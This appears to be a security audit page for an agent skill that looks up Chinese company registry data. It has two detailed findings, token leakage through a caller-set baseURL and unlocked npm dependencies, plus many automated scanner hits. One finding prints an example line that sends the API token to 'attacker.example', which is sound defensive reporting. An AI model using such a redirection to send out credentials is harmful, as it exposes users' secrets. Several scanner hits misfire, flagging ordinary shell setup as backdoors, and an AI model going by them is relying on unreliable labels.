Back to skill

Security audit

企业信息查询

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its business-lookup purpose, but its exported client can send the API token to a caller-chosen URL, so it needs review before use.

Install only if you trust the publisher and can control how the client is used. Prefer using createClient() with the documented QiXinBao endpoint, do not pass a custom baseURL, use a limited-scope token, monitor/rotate the token, and install dependencies from a reviewed lockfile or restricted environment.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Warning
Location
src/client.ts:35
Finding
API Token Can Be Transmitted to a Caller-Controlled Endpoint## Vulnerability Details **File Location**: `src/client.ts:35-43` **Vulnerability Type**: Credential exposure through an unrestricted API base URL **Risk Level**: Medium ### Vulnerable Code ```ts constructor(apiToken: string, baseURL: string = 'https://external-api.qixin.com/skill/ent/public') { this.apiToken = apiToken this.client = axios.create({ baseURL, headers: { 'Content-Type': 'application/json', 'x-api-token': apiToken, }, timeout: 30000, }) } ``` The affected class is publicly exported at `src/index.ts:2`: ```ts export * from './client' ``` ### Technical Analysis The public `QxbEntClient` constructor accepts an arbitrary `baseURL`. The Axios client then automatically includes the supplied API token in the `x-api-token` header of every request. The implementation does not validate the URL scheme, hostname, port, or path before associating the credential with the destination. Consequently, a caller can construct the client with an attacker-controlled URL rather than the documented QiXinBao endpoint. This contradicts the documented security expectation that the token is used only with `https://external-api.qixin.com/skill/ent/public`. The bundled examples do not exploit this behavior, so the issue is an exposed credential-redirection primitive rather than evidence of active credential exfiltration. ### Attack Path 1. An attacker influences integration code, runtime configuration, or agent-generated code that constructs `QxbEntClient`. 2. The attacker supplies a URL under their control as the second constructor argument: ```ts const client = new QxbEntClient(token, 'https://attacker.example') ``` 3. The application invokes any query method, such as `getEnterpriseInformation`. 4. Axios sends the request to the attacker-controlled server. 5. The request includes the victim's API token in the `x-api-token` header and may also disclose the qu ...[truncated 639 chars]
Remediation
## Remediation Suggestions 1. Remove the public `baseURL` parameter if endpoint customization is not an explicit requirement. 2. Hardcode the approved HTTPS origin: ```ts const API_BASE_URL = 'https://external-api.qixin.com/skill/ent/public' ``` 3. If endpoint customization is necessary, parse the URL and enforce an exact allowlist for protocol, hostname, port, and path before creating the Axios client. 4. Reject HTTP URLs, embedded credentials, unexpected ports, subdomain variations, and lookalike domains. 5. Attach `x-api-token` through a request interceptor only after confirming that the final request URL belongs to the approved origin. 6. Disable or strictly validate redirects so a trusted endpoint cannot redirect credential-bearing requests to another origin. 7. Add automated tests proving that unapproved origins and cross-origin redirects never receive the token. 8. Remove the unused `apiToken` instance field to reduce unnecessary credential retention in memory.

T08 · Insecure Dependencies

Note
Location
package.json:21
Finding
Dependency Installation Is Not Reproducible or Cryptographically Locked## Vulnerability Details **File Location**: `package.json:21-28` **Vulnerability Type**: Mutable dependency resolution and supply-chain exposure **Risk Level**: Low ### Vulnerable Code ```json "dependencies": { "axios": "^1.6.0" }, "devDependencies": { "@types/node": "^20.0.0", "dotenv": "^17.3.1", "ts-node": "^10.9.0", "typescript": "^5.0.0" } ``` The installation guidance at `SKILL.md:106-113` uses unrestricted dependency resolution: ```bash # In the skill root directory npm install ``` No package lockfile is present in the audited project. ### Technical Analysis All declared dependencies use caret version ranges, and the repository does not include a `package-lock.json`. Each `npm install` can therefore resolve a different set of direct and transitive dependency versions. This prevents deterministic review of the components that will actually be installed. It also expands exposure to a future compromised package release, compromised maintainer account, malicious transitive dependency, or registry-level supply-chain incident. Depending on npm configuration and package metadata, dependency lifecycle scripts may execute during installation. No dependency in the audited source was confirmed to be malicious. The vulnerability is the absence of reproducible dependency controls, not evidence that the currently named packages are malicious. ### Attack Path 1. A user or agent follows the documented initialization procedure and runs `npm install`. 2. npm resolves versions allowed by the caret ranges at installation time. 3. A future direct or transitive release within those ranges has been compromised or contains a malicious lifecycle script. 4. npm downloads the affected package because no reviewed lockfile fixes the dependency graph and integrity hashes. 5. The malicious package code executes during installation or is loaded when the Skill runs. ### Impact Assessment If a resolve ...[truncated 520 chars]
Remediation
## Remediation Suggestions 1. Generate and commit a reviewed `package-lock.json` containing the complete dependency graph and integrity hashes. 2. Replace documented `npm install` usage in automated or agent-controlled environments with `npm ci`. 3. Pin direct dependencies to exact reviewed versions rather than broad caret ranges where operationally feasible. 4. Review transitive dependencies and run vulnerability scanning before accepting lockfile updates. 5. Use `npm ci --ignore-scripts` when dependency lifecycle scripts are not required. 6. If lifecycle scripts must be enabled, explicitly review which packages define them and execute installation in a restricted environment. 7. Configure trusted npm registries explicitly and protect against dependency substitution through registry or namespace configuration. 8. Automate controlled dependency updates so lockfile changes receive security review before deployment.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Rogue AgentSelf-Modification, Session Persistence
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (39)

YARA rule 'backdoor_persistence': Backdoor persistence with malicious payloads (shell commands, SSH key injection, hidden root users) [malware]

High
Category
YARA Match
Content
ls
npm install
```

### 2. 配置 API Token

**⚠️ 安全提示**:Token 是敏感凭证,必须使用环境变量配置,不要在对话中提供。

**环境变量配置:**

Windows 永久配置:
```bash
# 在系统环境变量中添加
变量名:QXBENT_API_TOKEN
变量值:your_token_here
```

Linux/Mac 永久配置:
```bash
# 添加到 ~/.bashrc 或 ~/.zshrc
echo 'export QXBENT_API_TOKEN="your_token_here"' >> ~/.bashrc
source ~/.bashrc
```

配置成功后,AI 会自动从环境变量读取 token。

详细配置方法请查看 [用户指南](USER_GUIDE.md)。

### 3. 安装 Skill

将 `qxbent` 目录复制到本地的 skills 目录,或通过 skills 管理工具安装。

## 使用方法

安装后在本地智能体中加载该技能,之后可以用自然语言直接交流。

支持 Claude Code, OpenClaw, Trae 等所有的通用智能体。

### 交互示例

**查询企业工商信息**:
```
查询上海合合信息�
Confidence
75% confidence
Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

YARA rule 'backdoor_persistence': Backdoor persistence with malicious payloads (shell commands, SSH key injection, hidden root users) [malware]

High
Category
YARA Match
Content
ls
npm install
```

### 2. 配置 API Token

**⚠️ 安全提示**:Token 是敏感凭证,必须使用环境变量配置,不要在对话中提供。

**环境变量配置:**

Windows 永久配置:
```bash
# 在系统环境变量中添加
变量名:QXBENT_API_TOKEN
变量值:your_token_here
```

Linux/Mac 永久配置:
```bash
# 添加到 ~/.bashrc 或 ~/.zshrc
echo 'export QXBENT_API_TOKEN="your_token_here"' >> ~/.bashrc
source ~/.bashrc
```

配置成功后,AI 会自动从环境变量读取 token。

详细配置方法请查看 [用户指南](USER_GUIDE.md)。

### 3. 安装 Skill

将 `qxbent` 目录复制到本地的 skills 目录,或通过 skills 管理工具安装。

## 使用方法

安装后在本地智能体中加载该技能,之后可以用自然语言直接交流。

支持 Claude Code, OpenClaw, Trae 等所有的通用智能体。

### 交互示例

**查询企业工商信息**:
```
查询上海合合信息�
Confidence
75% confidence
Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Credential Access

High
Category
Privilege Escalation
Content
复制 `.env.example` 为 `.env`:

```bash
cp .env.example .env
```

编辑 `.env` 文件,填入你的 API Token:
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

YARA rule 'backdoor_persistence': Backdoor persistence with malicious payloads (shell commands, SSH key injection, hidden root users) [malware]

High
Category
YARA Match
Content
久有效。

#### Windows 用户

1. 按 `Win + R`,输入 `sysdm.cpl`,按回车
2. 点击"高级" → "环境变量"
3. 在"用户变量"中点击"新建"
4. 变量名:`QXBENT_API_TOKEN`
5. 变量值:粘贴你的 Token
6. 点击"确定"保存
7. **重启** Claude、OpenClaw 等 AI 应用

#### Mac 用户

打开终端,编辑配置文件:

```bash
# 如果使用 bash
echo 'export QXBENT_API_TOKEN="your_token_here"' >> ~/.bashrc
source ~/.bashrc

# 如果使用 zsh (Mac 默认)
echo 'export QXBENT_API_TOKEN="your_token_here"' >> ~/.zshrc
source ~/.zshrc
```

#### Linux 用户

打开终端,编辑配置文件:

```bash
echo 'export QXBENT_API_TOKEN="your_token_here"' >> ~/.bashrc
source ~/.bashrc
```

配置完成后,重启你的 AI 应用(Claude、OpenClaw 等),环境变量即可生效。

## 第三步:开始使用

配置完成后,你就可以开始查询企业信息了!

### 基本查询示例

**查询企业工�
Confidence
75% confidence
Finding
YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Lp3

Medium
Category
MCP Least Privilege
Confidence
70% confidence
Finding
Without declared permissions the skill's intent is opaque and cannot be validated.

Missing User Warnings

Medium
Confidence
88% confidence
Finding
The guide instructs users to place a live API token into `.env` or shell environment variables but provides no warning about secret handling, such as not committing `.env`, avoiding shell history leakage, or redacting tokens from logs/screenshots. In a developer testing guide, this omission increases the chance of accidental credential exposure through source control, terminal history, or shared debugging artifacts.

Missing User Warnings

Medium
Confidence
89% confidence
Finding
The skill documents retrieval of business registry data that includes identifiable personal information such as a legal representative's name and address-related company data, but it provides no warning about privacy, lawful use, or data-handling constraints. In a discovery or enrichment workflow, this can normalize bulk lookup and downstream misuse of personal or sensitive corporate information without any safeguards or consent context.

Description-Behavior Mismatch

Medium
Confidence
96% confidence
Finding
L01-L09 将 `getPagingEntBasicInfo` 文档明确描述为“查询企业变更记录”,这与接口名 `getPagingEntBasicInfo` 所表达的“企业基础信息分页查询”语义明显不符。虽然整体仍处于企业信息查询大类内,但文档宣称的具体功能与实际接口意图存在明显偏差,容易误导调用方对技能能力的理解。

Intent-Code Divergence

Medium
Confidence
99% confidence
Finding
L03-L05 明确将接口标识为 `getPagingEntBasicInfo`,但 L39-L40 的示例代码实际调用的是 `client.getChangeRecords(...)`。这不是单纯信息缺失,而是文档中的接口声明与示例实现直接矛盾,可能导致集成方调用错误的方法。

Intent-Code Divergence

Medium
Confidence
99% confidence
Finding
The inline comment explicitly states that environment-variable access is structured to 'pass static security scanning,' which is a strong red flag because it signals awareness of scanner-triggering behavior and an attempt to evade detection rather than improve security. Even though reading a token from an environment variable is common, documenting scanner evasion normalizes concealment and can mask future unsafe credential-handling changes.

Natural-Language Policy Violations

Medium
Confidence
84% confidence
Finding
Comments, error messages, returned field labels, and documentation strings are written exclusively in Chinese, indicating a fixed language experience. The file does not provide a language selection mechanism or document a justified region-specific constraint, which can violate language/locale policy requirements.

Missing User Warnings

Medium
Confidence
92% confidence
Finding
The code reads the API token from process.env.QXBENT_API_TOKEN, which is a sensitive credential access path. Although there are internal comments and parameter docs, there is no user-facing warning, confirmation, or disclosure that the skill accesses credentials from the environment.

Missing User Warnings

Medium
Confidence
87% confidence
Finding
This method sends the user-provided ename value to an external API over HTTP, and similar outbound requests recur throughout the client. The code has no user-facing log, prompt, or warning that user input is transmitted to a third-party service, and this behavior is not disclosed in this file's comments in a user-oriented way.

Rp1

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Rp1

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Rp1

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Rp1

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Rp1

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Missing User Warnings

Medium
Confidence
87% confidence
Finding
The script prompts the user for an enterprise name and sends it to an external API without any explicit notice that the input will leave the local environment. In an interactive tooling context, users may enter sensitive or confidential target names, creating privacy, compliance, or information-disclosure risk through unintended third-party transmission.

Natural-Language Policy Violations

Medium
Confidence
91% confidence
Finding
Natural-language strings throughout the file, including the AI interaction guidance, are exclusively in Chinese and present the interaction flow as fixed rather than optional. This can violate language/locale policy when a skill forces a specific language without user opt-in or documented locale justification.

Natural-Language Policy Violations

Medium
Confidence
93% confidence
Finding
The file's comments and console messages are entirely in Chinese, which effectively forces a specific language for user interaction. The policy allows locale constraints when justified or opt-in is offered, but this file provides neither a language choice nor a documented reason for restricting output to Chinese.

Session Persistence

Medium
Category
Rogue Agent
Content
export interface RawKeyPersonnelResponse {
  tabList: Array<{
    empList: Array<{
      formatName: string
      position: string
      stockPercent: string
Confidence
75% confidence
Finding
Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Session Persistence

Medium
Category
Rogue Agent
Content
export interface RawKeyPersonnelResponse {
  tabList: Array<{
    empList: Array<{
      formatName: string
      position: string
      stockPercent: string
Confidence
75% confidence
Finding
Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Session Persistence

Medium
Category
Rogue Agent
Content
export interface RawKeyPersonnelResponse {
  tabList: Array<{
    empList: Array<{
      formatName: string
      position: string
      stockPercent: string
Confidence
75% confidence
Finding
Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Natural-Language Policy Violations

Low
Confidence
82% confidence
Finding
The README presents Chinese as the required interaction language ("直接用中文描述需求即可获取数据") and does not mention any user choice or alternative locale. Under the policy rule, forcing a specific language without opt-in is a natural-language policy concern.

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
src/client.ts:19